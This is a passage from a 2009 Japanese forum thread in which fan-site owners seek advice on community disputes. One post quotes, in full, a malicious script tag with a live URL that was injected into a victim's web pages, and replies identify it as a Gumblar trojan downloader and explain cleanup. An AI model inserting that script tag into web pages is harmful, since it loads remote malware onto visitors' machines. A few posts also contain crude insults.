376 ：スペースNo.な-74：2009/11/17(火) 19:18:50

気付かぬ間に相手が一方的に描いてたとかでもなく
同じ条件で3人それぞれ描いたのに、
手ブロやdrawrで○○さんのリク絵です、○○さんのキャラです
と公開して、2人には本人からのコメ有、1人だけスルーされたら
第三者から丸判り状態で晒されてる事になるから
かなりキツイよなー

377 ：スペースNo.な-74：2009/11/17(火) 19:22:43

>>371
確かにお礼はしてるけど、ROMから見たらAさんだけ華麗にスルーされてるように見えるよ。
オンでの付き合いだと、人の目の見えるところでお礼するってのもやっぱ大事だと思う。

＞この関係の話題を出されてしまうので･･･。
話題の出し方が>>371に絡んでくるのではなく、Aさんの独り言みたいな
感じだったらあえてその話題に触れないでスルーしてみては？
話を振られたら、軽く流してみるとか。
>>375を読む限り、Aさんは>>371自身を嫌ってるわけでもないみたいだし、
おそらくAさんの中でこの話の踏ん切りがついていないだけじゃないかな。
だとすると、他人からいわれてどうこうなる問題じゃないので
消化するまでは時間がかかると思う。

こういうのって（知り合いにスルーされる等）かなりダメージきついんだよね…

378 ：スペースNo.な-74：2009/11/17(火) 19:26:56

>>375
言い訳が長い
自分が悪いって本心では思ってないのがＡさんにも伝わってるんだと思うよ

379 ：スペースNo.な-74：2009/11/17(火) 19:31:17

>>371=375のレス読んでも
Aさんとの関係を修復したい。元通り仲良くしたい！
と考えてるようには欠片も思えないんだがｗ

380 ：スペースNo.な-74：2009/11/17(火) 19:42:00

>>375
おそらく、自分の怠惰ゆえの事だったときちんと謝ってないのでは。
謝罪はしたけど、あとでチャットで伝えればいいと思って……と言い訳したんでない？
それじゃ「自分はそれほど悪くない」という逃げに聞こえるよ。
言い訳しないで、Ａさんの友情にあぐらを掻いてしまったんだということを、
きちんと折を見てじっくり説明してはどう？
その時、とてもＡさんが大事な友達なんだとちゃんと印象付けた方がいい。
Ａさんは「うっかりミス」だからと謝られて、納得いかないながらも、
謝罪された以上は許さなくちゃいけないだろうと、自分を説得してるんじゃないか？
だから寛大に許しながらも、貴方に対して心にひっかかりを感じるのかもしれん。
まぁ、想像なんで事実と違ったら申し訳ない。
おそらく、自分がそんなことされたら泣きながらＦＯするわ。

381 ：スペースNo.な-74：2009/11/17(火) 20:06:08

というかもう既に>>375は「Aウザッ」と思ってるように見えるんだけど
二段目の「ですが」からあと全部Aに対する不満だし、もう
いつまでも過去の事引きずってウゼーんだよ！
って言って切っちゃえば

382 ：スペースNo.な-74：2009/11/17(火) 20:31:21

ん？　相談は>>375で締切ってことで良いんだよな？

383 ：スペースNo.な-74：2009/11/17(火) 20:34:47

>>375
そんなにゲスパー体質な閲覧者もいないとは思うけど、描いた本人としては
第三者の目に入る場で感想をもらえた人、もらえなかった人の違いは大きいと思う。
多分B、Cと同じように、第三者に見えるように感想をもらいたいってことだと思うよ。
今更な気もするけどAがそれだけ引きずっていて、375自身も何とかしたいと思っているなら、
もう一度同じような機会を設けてみたら？
今度は公開の場で感想を書いて、375自身Aの描くものが好きなんだアピールを対外的にすることで
Aの気持ちも収まらないかな…

384 ：スペースNo.な-74：2009/11/17(火) 20:35:03

後出し情報で〆レスするの止めて欲しいなぁ…。
すごい答えづらい。
聞いてもらえるだけで満足なら、ﾁﾗ裏あたりでやってほしい。

385 ：スペースNo.な-74：2009/11/17(火) 20:38:32

まあ>>375が〆と看做して終了でいいんじゃね
375が（仲直りしたいと思ってるなら）とにかく何回でも謝るしか
解決できないだろうし

386 ：スペースNo.な-74：2009/11/17(火) 21:08:23

ここだけじゃないけど後出し情報して私は（絶対）悪くないんです、と
締めるから感じ悪くなるんだよね
まあ本気で困ってはいないんだろう

387 ： ◆NHS3lfPJCE ：2009/11/17(火) 21:32:39

相談お願いします。フェイクあり

ネットの掲示板で相方募集してた同ジャンルの人に自分から申し込み、相方になりました。
同じジャンル内、別サイトでそれぞれ活動。ブックマークには相方サイトですと互いに表記。
その後、オンで適度に交流。オフでも一度会いました。

しかし相手の些細な行動が積み重なって、だんだん付き合うのが精神的にきつくなってきました。
とりあえず一時的に自サイトのブックマークを全て外し、工事中に変更。
しばらく向こうから連絡がないので放置していますが、
他サイトへのリンクは自分でも使うので復活させたいです。

が、相方サイトへのリンクは正直これを機に剥がしたいのが本音です。
それから、なるべく穏便な形で相手と相方関係を解消したいです。

相手に決定的な否があるわけではありません。
今後もオフで活動する予定のため、「別ジャンルに移るから」という言い方もできません。
この場合、どういう風に相手に切り出せばよいでしょうか。

アドバイスお願いします。

388 ：スペースNo.な-74：2009/11/17(火) 21:39:31

>>387
「個人で活動したくなったので相方を解消したい。今までありがとう。」

389 ： ◆NHS3lfPJCE ：2009/11/17(火) 22:10:06

>>388
個人でと言えばよかったのか･･･！
助かりました、ありがとうございました！

390 ：スペースNo.な-74：2009/11/17(火) 22:13:29

>>387
断り文句としては>>388しかないと思う
リンクは
>他サイトへのリンクは自分でも使うので復活させたいです。
この理由が本当ならローカルにリンクページ作るなりして
自分だけが使えればいいんだから復活させない方がいい

もし相方無しリンクページ復帰させて完全に断ち切った気分ですっきりしたい
ということなら止めないけど、それで「穏便に」は無理だと思う

391 ：スペースNo.な-74：2009/11/17(火) 22:14:54

ごめん、リロればよかった

392 ： ◆lChSS3NumY ：2009/11/18(水) 23:05:07

初トリップなのでちゃんと出来てるといいのですが

さくらの有料鯖を借りてヒキ二次絵小説サイトを数年前から運営しているのですが、
今週の月曜日からサイトが急に重くなり不審に思ってHTMLファイルを見てみると
<script src=http://ezgmp.com/events/ezGXP-FDA-News.php ></script>
という謎のスクリプトが全HTMLファイルに勝手に挿入されていました。
さくらのパスを変えFFFTPを設定しなおしてうｐしても
次の日の昼にはまた勝手に挿入されています。
もうどうしたらいいのかわからず困り果てています。
調べましたがGENOには感染していません。
どうしたらサイトの改ざんを止めれるのでしょうか？
大変困っています。詳しく分かる方いましたらどうか教えて下さいお願いします。

393 ：スペースNo.な-74：2009/11/18(水) 23:12:47

まずは鯖に報告＆相談なのでは…

394 ：スペースNo.な-74：2009/11/18(水) 23:14:03

もう別所で回答もらってんじゃん

395 ：スペースNo.な-74：2009/11/18(水) 23:14:08

>>392
まったく同じ内容の質問が知恵袋にあるんだけど同一人物？
そしてあちらで言われたこと、理解してないよね。
そのスクリプトの先に危険なスクリプトがあるから伏せろって言われたのに。

直し方は判らないから他の人ヨロ。

396 ：スペースNo.な-74：2009/11/18(水) 23:15:40

>>392
Yahoo!知恵袋のキャッシュにこんな回答がありました

----------
まず･･･そのコードの中のリンクに危険なURLが混じっていると思われるので伏せた方がいいと思います。

誘導先のサイトにて以下の危険なスクリプトが判明しました。
Trojan-Downloader.JS.Gumblar.x
ソースはこちらです
http://www.aguse.jp/?m=w&url=http%3A%2F%2Fezgmp.com%2Fevents%2FezGX...

まず、運営しているサイトはなんでしょうか？
特定の脆弱性を持ったphpのような動的コンテンツの場合、クロスサイトスクリプティングの攻撃にあっている可能性が高いです。
そのコンテンツのアップデートを施してください。

397 ：スペースNo.な-74：2009/11/18(水) 23:36:16

素人装って踏ませようとしてるんじゃないかこれ

398 ：スペースNo.な-74：2009/11/18(水) 23:47:24

かもね。
あっちも自分で削除したんじゃなくて運営に消されたんだろう。

399 ：スペースNo.な-74：2009/11/18(水) 23:51:57

DR.WEBでOKだったけどバスターが止めてくれたのが正しかったのか

400 ：スペースNo.な-74：2009/11/19(木) 00:24:31

>>392
悪戯で書き込みしてるのかなって思ったけど、いちおうマジレスしとく

GENOに感染してる可能性が高い
その状態でアップデートしてもすぐに外部から罠スクリプトを仕込まれる
GENO検知に関して定評のあるウィルス対策ソフトでPCスキャン、駆除し、
自分の回線じゃなく余所の回線つかって別のPCでパス書き換えろ

上記やっても感染するなら、クロスサイトスクリプティングの可能性もある
その場合は利用してる鯖に相談
同鯖つかってる他サイトも同じ被害にあっている可能性が高いから

401 ： ◆lChSS3NumY ：2009/11/19(木) 10:09:18

>>400
ありがとうございます！

GENOは何度も調べてますが感染していませんでした
（ちゃんと50727になってますしregedit.exeも開きます）
フリーソフトでウィルスチェックも行いましたが他のウィルスも出ませんでした

とりあえず鯖の方には連絡を入れたので今は連絡待ちです
ウィルスじゃないと良いのですが…
もしそれでもダメならPCを再セットアップしようと思っています

402 ：スペースNo.な-74：2009/11/19(木) 11:34:36

>>401
根本的にあなたは間違っている
今はやっているGENOは、前のGENOと違う新手のやつだ
前と同じ調べ方ではウィルスは見つからんよ

>ちゃんと50727になってますしregedit.exeも開きます
これは全然あてにならない
GENOチェッカーなんてまったく役にたたないよ
上を根拠に感染していないと言ってるなら考えを改めるべき

おそらくほぼ100パーセント感染している
この状態だとPCセットアップしなおしが一番だと思う
パスワードは友達の家か家族に変えて貰うこと

403 ：スペースNo.な-74：2009/11/19(木) 11:37:52

363 名前：GENO ◆AbjB8MStDM 投稿日：2009/11/18(水) 17:45:27 ID:d8NFkGY3P
攻撃手法が複雑化するGumblar、以前の感染サイトが再度改ざん -INTERNET Watch
http://internet.watch.impress.co.jp/docs/news/20091118_329817.html

404 ：スペースNo.な-74：2009/11/19(木) 11:42:13

思い込みって怖いな

405 ：スペースNo.な-74：2009/11/19(木) 11:57:47

つか、フリーソフトでスキャンって…
セキュリティソフトをまったく入れてないんじゃないの？この人

こんなのばかりだからどんどん感染が拡がっていくんだろうね

406 ： ◆iqIORZh9QA ：2009/11/19(木) 20:21:52

相談です。

当二次創作絵サイト運営中。
溺愛しているカプはドマイナーというほどではないが、取り扱っている
サイト自体が極端に少ない。毎日このカプはもっと増えるべきと唱えている。

以前からちょくちょくコメントをくれる閲覧者さんがいる。
基本ハイテンションで、自分語りがちらつき若干もにょる事も多数あるが、
作品に関しての感想も書いてくれるのできっと若いんだ…ともにょる部分は
スルーして無難にレス等をしてきた。

そんな時新たなコメントが来た。以下要約。
・うちのサイトで上げた絵を元に小説を書いたのでよかったら見て欲しい
・ブログやサイトは持ってないのでまだ誰にも見せてない
・勝手にごめんなさい！ヘタレでごめんなさい！スルーして下さっても結構です！
（だがどう見てもスルーされたらへこむ雰囲気の謙りよう）
・万が一気が向いたらメール下さい（メールアドレス記載）

ちなみに５行くらいサンプル文がついていた。（可も不可もなく普通な感じだった）
常に飢えているカプ好きとしてはぶっちゃけどんなものでも読みたいのが本音だが、
今回のコメント自体にはなんかすげー萎えた＆後に色々と面倒くさいことになりそうな予感が
するのでスルーした方がいい、と考える自分もいる。

どうしたらいいでしょうか。長くてスマソ。

407 ：スペースNo.な-74：2009/11/19(木) 20:36:10

>>406はどうしたいの？
めんどくさいことになっても読みたい気持ちが強いのか、めんどくさいことになるほうが嫌なのか

背中押してほしいだけにしか読めないけど

408 ：スペースNo.な-74：2009/11/19(木) 20:41:02

どんなものでも読みたい＞面倒は嫌→読ませてもらう
どんなものでも読みたい＜面倒は嫌→スルーかお断り

好きなだけ悩め

409 ：スペースNo.な-74：2009/11/19(木) 20:41:52

個人的に見せていただけると言うのは申し訳ないですが
ちょっぴり重いのでサイトなりブログなりを開かれて
そこに掲載された時にでも見に行かせていただこうと思います
とか

410 ：スペースNo.な-74：2009/11/19(木) 20:43:11

後のことを全く心配せず小説だけ読みたいってのは無理だから
>406はまず、めんどくさい事になっても読みたいのか
後のことを考えれば読まなくてもいいのか
自分の考えをどっちかに決めないといかんと思うよ。

自分だったらブログやサイトを作ることをお勧めする旨1回だけレスして後スルーかなあ。
「>406の絵を元に」ってのが引っかかってて
>406がその小説をWEBに上げて欲しくないと思ってるんならこの方法はダメだけど。

411 ：スペースNo.な-74：2009/11/19(木) 20:47:33

>>407
結局は、ちょっと厨くさい人とは関わりたくないけど、作品は読みたいってことだよね？
いきなり作品押し付けたりせずにスルーの逃げ道を作ってても
「面倒くさいことになりそうな予感」なら、スルーした方がいいんじゃね。

412 ：スペースNo.な-74：2009/11/19(木) 21:28:18

一番面倒な事態は
読ませてもらう→内容イマイチ→社交辞令で感想→
「楽しんでもらえてよかった！サイトに載せてもいいですよ！」
とサイトに上げる事をオブラート破れ状態で要求→載せたくねー
となる事と思う。
さぁ悩みたまえ。

413 ： ◆iqIORZh9QA ：2009/11/19(木) 21:29:14

レスありがとうございます。
どっちの気持ちも五分五分くらいでどうしたらいいか
決められずてんぱって相談した。優柔不断ですまんかった。
>>407のラスト1行でふっきれた。予感を信じてすぱっとお断りしてくる。
ありがとうございました。

414 ： ◆iqIORZh9QA ：2009/11/19(木) 21:32:22

すまん安価間違えた
〇：>>411 ×：>>407

>>412
正にそんな予感がするのでやはりお断りする。
改めてありがとうございました

415 ： ◆I0QEgHZMnU ：2009/11/22(日) 23:00:00

相談おねがいします

よく行く字サイトさんの小説が2ちゃんの二次創作板に転載された後、まとめサイトにも転載されてる
その字サイトの管理人さまは2ちゃんはやられないそうなので、本人が投下したとは考えられないし、過去にサイトが晒されたりしたせいで2ちゃんにはあまり好感は持ってないみたい
その上最近少し落ち込んでるみたいだから、それを更に助長するようなことはしたくないんだけど、どうするべきだろうか？
部外者の自分がまとめサイトの管理人さんに報告するのもどうなんだろうと悩んでます

416 ：スペースNo.な-74：2009/11/22(日) 23:05:44

正義厨になってね？

本人が申告して、取り下げてもらうのが筋
それに、本人が投下してないというのは、第三者にはわからない

どうしても気になるなら、管理人に連絡する以外ない

417 ：スペースNo.な-74：2009/11/22(日) 23:07:53

>>415
落ち込みを助長したくないなら、そっとしといてあげるが吉

418 ：スペースNo.な-74：2009/11/22(日) 23:10:09

>>415
部外者の自覚があるならスルー推奨。
転載だけで実害出てるとも思えないし、仮に出ていたとしても
何らかの対応を取れるのは管理人本人だけだよ。

管理人を励ましたいなら、転載の件には一切触れずに
こまめに作品の感想を送るとかのほうがいいのでは？

419 ：スペースNo.な-74：2009/11/22(日) 23:26:58

>>415
すまん、417を書いたが、
まとめサイトの管理人さんの方になら
「自分の通ってるサイトさんの作品が転載されている。（まとめサイトで該当作品が載ってるページアドレスでも添える）
　2ちゃんをやらないと公言してる人で、過去にサイトが晒されたりしたせいで２ちゃんに好意的ではないと考えられる人だ。
　自分は閲覧者で部外者なのは承知だが、管理人さんが知って落ち込んだりする可能性を思うと忍びない。
　できれば一考して欲しい。」
みたいな事を
【1回だけ】言ってみるのはアリかも。（勿論、第三者には知られない連絡方法で。）

あとは、まとめサイト管理人が判断するだろうし。
それで何ら対応がなくても騒がない。あくまで一度、伝えてみるだけ。

420 ：スペースNo.な-74：2009/11/22(日) 23:28:10

>>415
極端な例かもしれんが...
晒しや転載した本人が荒らし目的でわざわざ報告する事がある
そういう輩に勘違いされて最悪アク禁なんて可能性もある

デメリットは他の人が書いてるようにいっぱいあるが
あなたが報告する意義や利点は何一つないと思う

421 ：スペースNo.な-74：2009/11/22(日) 23:38:51

>>419
横レスｽﾏｿだが、一応まとめサイトやってるので。

まとめ管理人的にはこれはやめてもらいたい。
はっきり言って迷惑な正義厨以外の何者でもないです。
それにあくまで本人と確証が取れた人の申告がないと
大抵の管理人は記事を消したりはしないと思うよ。
部外者の言う事ほいほい聞いてたら収集がつかなくなるから。

422 ：スペースNo.な-74：2009/11/22(日) 23:58:26

＞晒しや転載した本人が荒らし目的でわざわざ報告する事がある

そういう人もいるんだねえ・・
踊らされないように気をつけないと

423 ：スペースNo.な-74：2009/11/23(月) 00:12:14

スマンがまとめサイト管理人としては、
一応被害者(？)サイトの更新履歴をチェックしたり
本人に確認するなりしないと削除などの対応はできないよ

>415の場合、２関係にはデリケートな管理人さんのようだし
余計な波風を立てたくないなら第三者が首突っ込むのは
やめておいた方がいいと思う

424 ：スペースNo.な-74：2009/11/23(月) 00:30:21

>>415のように、他にも気づいたのが騒ぎ立てて、再び晒される可能性もあるけどね
ラレ側としてもデリケートな人なら堪えるかもしれない
けど管理人が行動を起こさなければいけないのは変わらないから、管理人に知られず第三者が対応しようってのは無理

425 ：スペースNo.な-74：2009/11/23(月) 00:35:52

流石に421は無いな。まとめサイト管理人として無責任過ぎる
しかも盗作や無断転載なんかの報告をしてくれる人に対して
>はっきり言って迷惑な正義厨以外の何者でもないです。
なんて言ってる様じゃそれこそ421自身が「厨以外の何者でもない」
423も、誰か第三者が首突っ込んで報告してくれなきゃそもそも
「被害者(？)サイトの更新履歴をチェックしたり本人に確認するなり」
するキッカケすら得られず問題抱えっ放しのままになる訳で、
そりゃ管理責任上マズイだろ？

426 ：スペースNo.な-74：2009/11/23(月) 00:44:09

世の中には嘘の盗作認定で下ろさせようとする荒らしもいるからねぇ

427 ：スペースNo.な-74：2009/11/23(月) 00:47:16

何かひとり鼻息荒いヤツがいるなww

428 ：スペースNo.な-74：2009/11/23(月) 00:50:06

自分まとめサイトやってるけど
盗作報告があった作品は、その本作者と思われるURLがわかるならとりあえず見てみる
言い掛かりレベルなら報告者のipを控えて暫く監視、状況によってはアク禁する
あからさまなコピペレベルであるなら
こっちから本作者と思われる方にアクションをするよ

何年何月何日にこういう場所にこういう形で投稿されたものを
集めてまとめてサイトにして公開している者ですが、的な挨拶と
経緯、あなたの投稿であるならこのまま載せておくが
あなたの投稿でないなら削除させてもらう　という感じで。
8割くらいの確率で、本作者さんは投稿された事実を知らない
というか2のスレやまとめサイトの存在自体を知らない
そして速攻消してくれといわれるから消す
1割くらいは「サイトに書いてませんが私が投稿しました」みたいな感じ

書いたのが本作者さんなら、放置してる間中盗作サイトの管理人だもん
421とかは平気みたいだが、自分は嫌だ
つーかそれ放置してるなら「管理」してないじゃん
萌えの溜まり場にならなりたいけど、盗作の温床にはなりたくないよ

429 ：スペースNo.な-74：2009/11/23(月) 00:50:45

>>435
>>421の言ってる事は妥当だと思うけどな～
何でもかんでも受けつけてるときりがないんじゃない？
この手のものには絶対的なボーダーラインて必要だと思う
イタズラとか勘違いとかもあると思うし
被害者が何とも思っていないパターンだってなきにしもあらずだ
　
>>417が被害者本人に報告するかどうかは別問題として
被害者に事実をお知らせした上で被害者自身がどうすべきか決める
べきじゃないだろか？
この過程をスッ飛ばしてまとめサイトに来られても
417がいくら善意でやっているのは分かるけど正義厨扱いされても何となく納得

430 ：スペースNo.な-74：2009/11/23(月) 00:57:16

>425
話がずれてる

431 ：419：2009/11/23(月) 00:57:29

うん…まとめサイトの管理人によってスタンス変わるんじゃないかと思ったから

【できれば一考して欲しい】
【1回だけ言ってみる】
＞あとは、まとめサイト管理人が判断するだろうし。
＞それで何ら対応がなくても騒がない。あくまで一度、伝えてみるだけ。

と、だいぶ念を押して書いたつもりだったんだけどな。
（とりあえず、>>428みたいな人もいて良かった）

あと、相談者は
＞部外者の自分がまとめサイトの管理人さんに報告するのもどうなんだろうと悩んでます
と、ちゃんと躊躇って留まってて
過程スッ飛ばしてるのは自分なので、相談者に転嫁しないでくれｗごめん

432 ：スペースNo.な-74：2009/11/23(月) 01:01:24

>>425
被害届は被害者本人にしか出せないんだよ
乱暴な言い方だけど作者本人から被害の報告がない限りは
問題は存在しないって扱いになる

まとめサイト管理人にだって時間が無限にあるわけじゃないんだから
こっちからわざわざ行動起こして確認してなんて普通はやらないよ
426みたいな事も本当にあるし、下手したらこっちが勘違い正義厨になる

433 ：スペースNo.な-74：2009/11/23(月) 01:04:52

どっちでもOKだしどっちでもNGって事だろ。
ハイ次の方ー。

434 ：ネ困：2009/11/23(月) 01:04:57

まとめの中の人です

自分がやってるのはエロパロなんだけど、名前だけすげ替えてスレ投下→まとめ収録→スレや記載メアドに「○○ってサイトの名前すげ替えじゃね？」って指摘はあるよ
実際に両方を見て、黒だと判断すれば削除する
まともな管理人なら盗作を収録しておくのは嫌だし、その為に記載してる連絡メアドなんで無記名でいいから連絡して欲しい

435 ：スペースNo.な-74：2009/11/23(月) 01:06:43

まあ２ちゃんの存在も転載も知らなかったのに
見知らぬまとめサイト管理人を名乗る人から
いきなりメールきたらびっくりするわな

436 ：スペースNo.な-74：2009/11/23(月) 01:55:16

415の通ってるサイトの管理人が困ってるのか困ってないのかはっきりしない時点で
言っちゃ悪いけどその後のレスはあんまり意味ない気がする
まとめサイト管理人のそれぞれの方針がどうのって話は完全に論点ずれてるし

今までにあった「パクリの報告をすべきか」って相談は管理人と仲良い場合を除いて
「しない方がいい」って答えが圧倒的に多かったと思うんだが
今回もそれに当てはまるんじゃないの？

437 ：スペースNo.な-74：2009/11/23(月) 07:19:18

盗作が置かれている場所がこの2chだから、今までの盗作報告とはすこし扱いが変わってしまうんじゃないかな
パクリ疑惑の検証スレみたいな感じに、大量の閲の目に触れるから、そこいらの大手サイトとは影響力が違いすぎるし

438 ：スペースNo.な-74：2009/11/23(月) 08:16:28

そのパクられ側の管理人のサイトに、「無断転載禁止、見つけたら報告を～」系の文章があったら、
また話は違ってくるかもな

439 ：スペースNo.な-74：2009/11/23(月) 17:08:51

>>415です。
たくさんのレスありがとう。

自分が何らかのアクションを起こせば
何も知らないラレ管理人さんにもまとめ管理人さんにも迷惑をかけそうなので
今回は様子を見ることにする
もし今後も転載が続くようなら、よく考えて行動してみようと思うよ

参考になった
ありがとう！

440 ： ◆I0QEgHZMnU ：2009/11/23(月) 17:37:56

すみません、トリップ忘れてました！
↑は自分です

441 ：スペースNo.な-74：2009/11/24(火) 19:18:14

エロパロとか二次創作スレでは転載や盗作の指摘は
当たり前だからこの流れに驚いた

442 ：スペースNo.な-74：2009/11/24(火) 19:21:36

指摘されちゃ困る人がいるんだろう

443 ：スペースNo.な-74：2009/11/24(火) 19:21:46

だから何？

444 ：スペースNo.な-74：2009/11/24(火) 22:35:30

次どうぞ

445 ： ◆NuRGX5T2dA ：2009/11/25(水) 00:21:00

相談お願いします。多少フェイク有り。

当方一次創作サイトの字書きですが、最近貰うメールの内容に困っています。
私の書く小説は主要人物達に名前がついておらず、銀髪の男とか眼鏡の少女などという呼称で登場します。
単にこういう書き方が好きなだけで、閲覧者さんからの反応を見る限り特に混乱させている様子もありませんでした。
先日『キャラクター達に名前をつけてほしい、読んでいて混乱してしまう』とのメールを頂き
ああそうなのか、申し訳ないなと思い、見当してみるという旨の返事を送り、更新記録兼一言日記にキャラに名前をつけるかも、と記載。
すると数名から『あのキャラには○○、あのキャラには××という名前にして！』と要望メールが送られてくるようになり、更に最初にメールをくれた人物(以下Ａ)が凶暴化。
『早く▲▲って名前つけてよ！友達に約束したのに！嘘つくなんて最低詐欺罪で訴えてやる、いやならさっさと行動しろ！』要約するとこんな感じのメールが大量に送りつけられてきています。
要望メールの面々は徹底的に放置、しつこいようなら灰汁禁にしようかと思ってますが、Ａの友達に云々のくだりが気になっています。
その友達は私のサイトをＡのサイトだと勘違いしている、ということでしょうか？だとしたら誤解を解きたいのですが、私自身、イマイチ事態を把握できていません。的確な対処法を教えて頂ければ幸いです。

長くなってしまいましたが、どうかお力添え下さい。

446 ：スペースNo.な-74：2009/11/25(水) 00:25:52

そのAが、445のサイトを自分のだと友人に偽ってるんじゃないか？
乗っ取りスレでそういうのよく見かける

447 ：スペースNo.な-74：2009/11/25(水) 00:35:12

>>445
446に同意。ほぼ確実に騙りだと思う
Aが、445のサイトを「自分が管理人やってる（Aのサイトである）」とA友人に嘘をついてる
「キャラに名前ついてない→自分が言った通りの名前をつけさせれば、自分が管理人だと信じ込ませる事ができる！」ってところ。

報告スレを参考に
http://changi.2ch.net/test/read.cgi/2chbook/1259051213/
まとめとか読むといい

あとは445なら適切に対処できそうなので。

448 ：スペースNo.な-74：2009/11/25(水) 00:38:18

うん、間違いないね

それにしても本当に厨の罵倒は自己紹介だな
>嘘つくなんて最低詐欺罪で訴えてやる

449 ：スペースNo.な-74：2009/11/25(水) 00:38:54

>>445
446が一番考えられるけど、なるべく穏便な方向で考えると
445の送った検討してみるという返事を受けて、名前をつける方向で動いてくれると思い
「つけてくれるって言ってたよ！」と先走って話してしまった
という可能性もあることはあるな
まあ乗っ取りや友人騙り用の対応でいいと思う

450 ：スペースNo.な-74：2009/11/25(水) 00:42:32

訴えてやるって言って本当に訴えないのは脅しになるんじゃなかったっけ？
放っておいても、厨ちゃん勝手に自爆してくれそうな気がする

451 ：スペースNo.な-74：2009/11/25(水) 00:47:32

脅しになるし、大量メール送りつけは迷惑行為でもあるから、
相手のプロバイダーに通報も可

452 ：スペースNo.な-74：2009/11/25(水) 01:42:07

まるっきり違う名前付けてあとはスルーでおk
厨なら勝手に自爆する

453 ：スペースNo.な-74：2009/11/25(水) 02:17:03

さっさと悪禁だけでもよさそうだけどな。

454 ：スペースNo.な-74：2009/11/25(水) 02:34:25

名前付けも、自分のこだわりを貫いていいと思う

455 ：スペースNo.な-74：2009/11/25(水) 03:49:30

「やはり名前つけるのはやめました」と宣言する。
これまで混乱されてなかったなら、一部のゆとり脳に合わせる必要ないし。

456 ：スペースNo.な-74：2009/11/25(水) 08:01:07

まず、>>445が名前をつけたいのかつけたくないのか改めて考えてみて
つけたくないなら、日記に「やめました」と記載

つけたいなら、日記に「名前のリクエストは受け付けてません」と記載
（Aもだけど、その他の数名への釘さしも）、
すこし時間をおいてから、自分がつけたいと思う名前をつける

どちらの場合も、自分は誰とも約束はしてないことを明言しておいた方がいいと思う

457 ：スペースNo.な-74：2009/11/25(水) 18:08:12

>>445
Aは騙りでほぼ決定なので騙り用の対策推奨。

もし名前付けるなら、今まで送られて来た名前はむしろ全力で避ける。
（できれば似ているって程度の名前も避ける方が無難）
もちろん今まで通り名前は明示しないでもオッケー。
それで抗議が来たら遠慮なくアク禁。

458 ： ◆NuRGX5T2dA ：2009/11/25(水) 20:41:27

>>445です。レスして下さった皆様、ありがとうございます。
まとめサイトを読みましたが乗っ取りや騙り被害というものを初めて知り、大変驚いています…。
日記を置くなどしてＡ対策を練りつつ、名前付けの件に関しては『やはりやめることにした、楽しみにして下さっていた方には申し訳ない』とサイトに記載することにします。

本当に助かりました。ありがとうございました。

459 ：スペースNo.な-74：2009/11/26(木) 21:49:14

盗作ってｗｗ
既存するキャラ使ってる癖にｗ
漫画家等パクリ元に謝ってからにしろよ
なんでもBLにする腐女子はタヒねばいいのに

460 ：スペースNo.な-74：2009/11/26(木) 22:11:12

>>459
無知乙

461 ：スペースNo.な-74：2009/11/26(木) 22:58:07

>>459
障害者の方ですか？

462 ：スペースNo.な-74：2009/11/26(木) 23:01:19

荒らしに触るも荒らし

次の相談どぞ

463 ：スペースNo.な-74：2009/11/27(金) 00:05:28

相談おねがいします

当方ゲームの二次サイトですけど
どっちかというとネトゲに近くて、いちキャラに自分の考えた色だの設定だの
装備のコレクションなんかを反映させてマイプレイヤーを作ることが一般的な内容のものです
同じゲーム好きで同じようにキャラ作って交流する人も多いようですが
自分はどっちかいうとキャラ交流とかじゃなくて、そのゲームを遊んでマイキャラを代理にした
プレイ日記のような内容だけにしたいし、幸にも登録せずヒキ宣言してます
18禁やＢＬは扱ってません。（ヒキ宣言を含めてサイト注意書きにもしっかり意思表示済み

それでもある日、同ジャンル者と名乗る人（サイト持ちの人）から
このジャンルでマイキャラを作ってて交流しないんなら活動やめろとか
同人は原作を布教する為のもの。ここのサイト宣伝しろ
このジャンルは私の周りもみんな交流してるから（？）あなたも交流しなきゃおかしい
というような、意味不明なコメが多くなりました。
アクセス解析を見るとお一人のようで、長文というかマシンガントークで目が滑ります（＾-＾；

ファン活動ともいえる同人サイトは交流も大事でしょうけど......
個人的にヒキサイトで続ける二次サイトはおかしいのでしょうか？
この数年間で特に波風無く過ごしてきたのですが、私の方がおかしいなら閉鎖も考えています
客観的な意見を聞きたいと思って質問しました

464 ：スペースNo.な-74：2009/11/27(金) 00:09:02

そいつはメンヘラの匂いがするからアクセス禁止して、
メールなどは特定のフォルダに突っ込み
これまで通りヒキ仕様で更新すればいいと思う。
迷惑行為をしない限り、
「他人と同じ活動をしなかったこと」なんてことで
責められる理由はない。ヒキならなおのこと影響もないし。

465 ：463：2009/11/27(金) 00:17:52

464さんありがとうございます

あとひとつ捕捉だけ
そのコメを送ってきた相手のサイトを見に行くと
確かに同じジャンルで１０人近くの方と交流されていて
同じジャンルでも結構お名前が知れてる方のようです（私なりの見解ですが
絵は・・・・正直に好みじゃないのもありますが、交流したいとは思いませんでした
その人の日記を見ると「同じジャンルでヒキやってる人がいて信じらんない」と
遠まわしにコチラのこと（？）を同ジャンルの方に愚痴っているような内容で
運悪く見つかって鬱憤晴らしにタゲられたのかなと思いました；
私はレスもコメもせず無反応を貫いていますが....すみません

466 ：スペースNo.な-74：2009/11/27(金) 00:25:23

とりあえず2ちゃん慣れも文章の書き慣れもしてないのは分かった
その上背中を押してほしいだけならわざわざこんなとこ来なきゃいいのに

467 ：スペースNo.な-74：2009/11/27(金) 00:30:47

>>465
誰にも何も謝る様な事はしていない。
堂々とヒキサイト運営して変なの湧いたら片っ端からアク禁、
もし万が一どっかに晒されても痛いところがなければ私怨乙で終わる。

468 ：スペースNo.な-74：2009/11/27(金) 00:32:53

>>463
>>464に同意ヒキさん行き場無くてここにたどり着いた？
そのジャンルの同人スレか管閲か、ヒキ管理人のスレで聞いた方がいいよ
同じ穴の狢なら後押しもしてくれるとオモ

469 ：スペースNo.な-74：2009/11/27(金) 00:36:06

うんスレ間違えてる

470 ：スペースNo.な-74：2009/11/27(金) 00:38:08

ＩＰ分かってんならアク禁とコメ拒否だけでよくね？

相手の正体はタゲ作家だけはべらしてる高尚様かｵｳﾞｧ様ってオチだろｗ
ヒキに対して上から目線やってる時点で向こうがイタタだから気にすんなー

471 ：スペースNo.な-74：2009/11/27(金) 00:47:15

>>463
その人よりお宅の方が上手いから嫉妬されるんじゃないの？
自分の思い通りにならない人なら
どうにか困らせてジャンルから追い出そうとする自己厨

>>464 >>467の対策方法でおｋ

472 ：スペースNo.な-74：2009/11/27(金) 01:41:49

よく知らない人や親しくない人達から扱ってる作品の絵とか小説送りつけられてくるんだが…
これはサイトにのせろってことなのか？（宣伝的な意味で）
私が喜ぶと思って送ってきてくれてるのか？
後者なら好意は嬉しいが欲しいとは一言も言ってないんだけど…
